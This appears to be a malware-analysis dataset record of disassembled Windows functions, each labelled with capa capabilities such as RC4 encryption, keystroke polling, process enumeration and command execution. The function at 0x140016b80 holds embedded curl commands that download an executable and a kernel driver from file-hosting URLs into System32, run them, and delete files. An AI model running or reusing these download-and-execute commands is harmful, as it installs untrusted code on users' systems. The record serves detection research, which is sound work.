joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400564e0
Capabilities:
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword [rcx + 0x20]
xor r14d, r14d
sub rax, 0x34
mov qword [rcx + 0x78], r14
mov qword [rcx + 0x28], rax
mov ebp, edx
mov rax, qword [rcx + 0x30]
mov rbx, rcx
mov word [rcx + 0x6a], r14w
mov esi, r14d
mov dword [rcx + 0x3c], r14d
mov qword [rcx + 0x70], rax
mov qword [rax + 0x10], rax
mov word [rcx + 0x68], r14w
cmp r14w, word [rcx + 0xb8]
jge 0x14005662b
movzx r10d, r14w
mov edi, r14d
mov r8, qword [rbx + 0xd0]
mov r9d, ebp
mov dword [rbx + 0x88], r14d
movzx edx, r10w
mov qword [rbx + 0x80], r14
mov rcx, rbx
movzx r8d, word [rdi + r8]
call fcn.1400569a0
test al, al
jne 0x1400566c6
mov rax, qword [rbx + 0xd0]
mov r8d, dword [rbx + 4]
mov edx, dword [rbx + 0x5c]
movzx r10d, word [rdi + rax]
lea eax, [r8 - 1]
test edx, eax
jne 0x1400565bb
cmp edx, dword [rbx + 0x60]
jl 0x1400565bb
cmp edx, dword [rbx + 0x64]
jg 0x1400565bb
mov rcx, qword [rbx + 0x80]
test rcx, rcx
je 0x1400565bb
mov rax, qword [rbx + 0x70]
movzx ecx, byte [rcx + 0x18]
xor cl, byte [rax + 0x18]
test cl, 8
jne 0x1400565bb
add qword [rbx + 0x30], 0xfffffffffffffffc
mov r9, qword [rbx + 0x70]
mov rax, qword [r9 + 0x10]
cmp qword [rbx + 0x30], rax
je 0x1400565de
test byte [r9 + 0x18], 8
je 0x1400565de
neg r8d
and r8d, edx
sub edx, r8d
cmp edx, dword [rbx + 8]
jmp 0x1400565ef
lea eax, [r8 - 1]
neg r8d
add eax, edx
and eax, r8d
sub eax, edx
cmp eax, dword [rbx + 8]
setge dl
mov rcx, rbx
call fcn.140057360
test al, al
jne 0x1400566c6
mov rax, qword [rbx + 0x80]
test rax, rax
je 0x140056612
mov qword [r9 + 0x28], rax
movsx eax, word [rbx + 0xb8]
inc esi
add rdi, 2
inc r10w
cmp esi, eax
jl 0x140056544
movzx edi, word [rbx + 0x68]
mov rdx, qword [rbx + 0x78]
cmp di, 1
jbe 0x1400566ca
test rdx, rdx
je 0x1400566ca
mov ebp, 0xffff
nop dword [rax + rax]
lea rsi, [rdx + 8]
cmp di, 1
jbe 0x140056668
movsxd rcx, dword [rdx + 0x1c]
mov rax, qword [rdx + 0x10]
lea r10, [rax + rcx*4]
jmp 0x14005666b
mov r10, r14
mov qword [rsi], r10
test byte [rdx + 0x18], 8
mov r11d, dword [rdx + 0x20]
mov r8d, r11d
mov eax, dword [rdx + 0x1c]
je 0x140056686
dec r11d
add r11d, eax
jmp 0x14005669d
sub r8d, eax
inc r8d
dec eax
mov dword [rdx + 0x20], r8d
movsxd rcx, eax
shl rcx, 2
add qword [rdx + 0x10], rcx
mov edx, r8d
mov rcx, rbx
call fcn.140057630
test al, al
jne 0x1400566c6
lea edx, [r11 + 1]
mov rcx, rbx
call fcn.140057630
test al, al
jne 0x1400566c6
mov rdx, qword [rsi]
add di, bp
jne 0x140056650
jmp 0x1400566ce
mov al, 1
jmp 0x1400566d9
mov qword [rbx + 0x78], r14
mov rax, qword [rbx + 0x28]
cmp qword [rbx + 0x30], rax
setae al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14006e1e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006e22a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006e22a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006e22a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006e22a
cmp dword [rcx + 0x84], 0xe
jbe 0x14006e22a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006e22c
xor al, al
add rsp, 0x28
ret

Function at 0x14006e470
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14006e4aa
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14006e4af
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14006e4f8
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14008d900]
cmp byte [rcx + rax], 0
je 0x14006e4f8
dec r8
sub rdx, 1
jne 0x14006e4de
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14006ec08
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.14006e588
mov ebx, eax
test eax, eax
jne 0x14006ec38
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x14006ec9b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006ec92
test al, 0x10
je 0x14006ec92
bt eax, 0xa
jae 0x14006ec8b
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.14006ecac
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x14006ec87
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14006ec87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x14006ec92
and dword [rsp + 0x3c], 0
jmp 0x14006ec97
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000c220
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x38
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14000c240
mov byte [rsp + 0x20], 1
jmp 0x14000c245
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x14000ce90
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rax, qword [0x14095fec0]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000cf1f
mov rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000cf0c
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [0x140960d00], eax
mov eax, dword [rsp + 0x38]
jmp 0x14000cf2c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000ceda
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400f3670
add rsp, 0x288
ret
Function at 0x140013900
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x14095fec0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.14000d3c0
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140013d00
nop
lea rax, [0x140013460]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.140003fe0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x1400139ae
lea rcx, [rsp + 0x40]
call fcn.140017310
nop
jmp 0x1400139c5
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140014d70
nop
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400f3670
add rsp, 0x58
ret

Function at 0x1400139f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x14095fec0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140016130
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140013d80
nop
lea rax, [0x140013500]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.140003fe0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140013a94
lea rcx, [rsp + 0x40]
call fcn.140017340
nop
jmp 0x140013aab
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140014dc0
nop
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400f3670
add rsp, 0x58
ret
Function at 0x1400158e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14095fec0]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x14001591d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140015924
mov al, 1
jmp 0x140015a7c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000bf40
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000bf40
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
call fcn.14000bf50
movzx eax, al
test eax, eax
je 0x140015979
xor al, al
jmp 0x140015a7c
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400159e9
cmp dword [rsp + 0x30], 1
je 0x1400159f5
cmp dword [rsp + 0x30], 3
je 0x140015a6a
jmp 0x140015a7a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140015a41
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x140015a41
xor al, al
jmp 0x140015a7c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140015a5b
mov dword [rsp + 0x34], 1
jmp 0x140015a63
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x140015a7c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140015a7c
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400f3670
add rsp, 0xa8
ret

Function at 0x140016b20
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x38
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140016b40
mov byte [rsp + 0x20], 1
jmp 0x140016b45
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140016b80
Capabilities:
Delete file
Execute command

Disassembly:
sub rsp, 0x88
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.1400156f0
lea rcx, str.color_c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rdx, str._n_Driver_not_loadedd_n
lea rcx, [rsp + 0x20]
call fcn.140004e90
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x20]
call fcn.140017690
nop
lea rcx, [rsp + 0x20]
call fcn.140005400
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.1400156f0
nop
lea rdx, str._n_Loading_driver..._n
lea rcx, [rsp + 0x40]
call fcn.140004e90
nop
mov edx, Ordinal_26
lea rcx, [rsp + 0x40]
call fcn.140017690
nop
lea rcx, [rsp + 0x40]
call fcn.140005400
nop
lea rcx, str.curl___silent_https:__files.catbox.moe_i7z05r.bin___output_C:WindowsSystem32dload.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_7n78yq.sys___output_C:WindowsSystem32drv.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_bv0es5.wav___output_C:Windows_audio.wav__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32dload.exe_C:WindowsSystem32drv.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str._n_n_n____loaded_driver__maybe_
lea rcx, [rsp + 0x60]
call fcn.140004e90
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x60]
call fcn.140017690
nop
lea rcx, [rsp + 0x60]
call fcn.140005400
nop
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32mappa.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32d.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400fa8cc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
add rsp, 0x88
ret
Function at 0x140017c70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14095fec0]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x140017ca4
xor eax, eax
jmp 0x140017ea1
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x140017cd6
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140017ea1
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140017d88
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140004aa0
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140009f60
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
nop
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x140017e91
mov rcx, qword [rsp + 0x80]
call fcn.140015e00
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x140017e3e
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140017e39
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x140017ea1
jmp 0x140017db4
cmp qword [rsp + 0x50], 0
jbe 0x140017e91
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400f3670
add rsp, 0x78
ret
Function at 0x140017ec0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x140017ef9
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140017fe8
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x140017f90
cmp qword [rsp + 0x20], 0
jle 0x140017f90
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x140017f39
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140009f60
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rsp + 0x50], 0
jle 0x140017fd8
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x140017fd8
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x140026ab0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movss dword [rsp + 0x20], xmm3
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x78
xorps xmm2, xmm2
xorps xmm1, xmm1
mov rcx, qword [rsp + 0x80]
call fcn.140004fb0
nop
mov eax, dword [rsp + 0x88]
and eax, 1
test eax, eax
je 0x140026b8b
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_sendto
call fcn.140026d70
movss dword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_send
call fcn.140026d70
movss xmm1, dword [rsp + 0x20]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x28], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_select
call fcn.140026d70
movss dword [rsp + 0x24], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_recvfrom
call fcn.140026d70
movss xmm1, dword [rsp + 0x24]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x2c], xmm0
movss xmm2, dword [rsp + 0x28]
movss xmm1, dword [rsp + 0x2c]
lea rcx, [rsp + 0x50]
call fcn.140004fb0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.14000e570
nop
mov eax, dword [rsp + 0x88]
and eax, 2
test eax, eax
je 0x140026c3a
mov edx, dword [rsp + 0x90]
mov ecx, 7
call fcn.140026d70
movss dword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 6
call fcn.140026d70
movss xmm1, dword [rsp + 0x30]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x38], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 5
call fcn.140026d70
movss dword [rsp + 0x34], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 4
call fcn.140026d70
movss xmm1, dword [rsp + 0x34]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x3c], xmm0
movss xmm2, dword [rsp + 0x38]
movss xmm1, dword [rsp + 0x3c]
lea rcx, [rsp + 0x58]
call fcn.140004fb0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.14000e570
nop
mov eax, dword [rsp + 0x88]
and eax, 4
test eax, eax
je 0x140026ce9
mov edx, dword [rsp + 0x90]
mov ecx, ntohs
call fcn.140026d70
movss dword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 0xa
call fcn.140026d70
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x48], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 9
call fcn.140026d70
movss dword [rsp + 0x44], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 8
call fcn.140026d70
movss xmm1, dword [rsp + 0x44]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x4c], xmm0
movss xmm2, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x4c]
lea rcx, [rsp + 0x60]
call fcn.140004fb0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.14000e570
nop
movss xmm0, dword [rsp + 0x98]
ucomiss xmm0, dword [0x1400fa0c0]
jp 0x140026cfd
je 0x140026d25
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.1400296c0
movzx eax, al
test eax, eax
je 0x140026d25
movss xmm1, dword [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
call fcn.14001bd70
nop
movss xmm0, dword [rsp + 0xa0]
ucomiss xmm0, dword [0x1400fa0c0]
jp 0x140026d39
je 0x140026d61
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.1400296c0
movzx eax, al
test eax, eax
je 0x140026d61
movss xmm1, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x80]
call fcn.14001bd70
nop
mov rax, qword [rsp + 0x80]
add rsp, 0x78
ret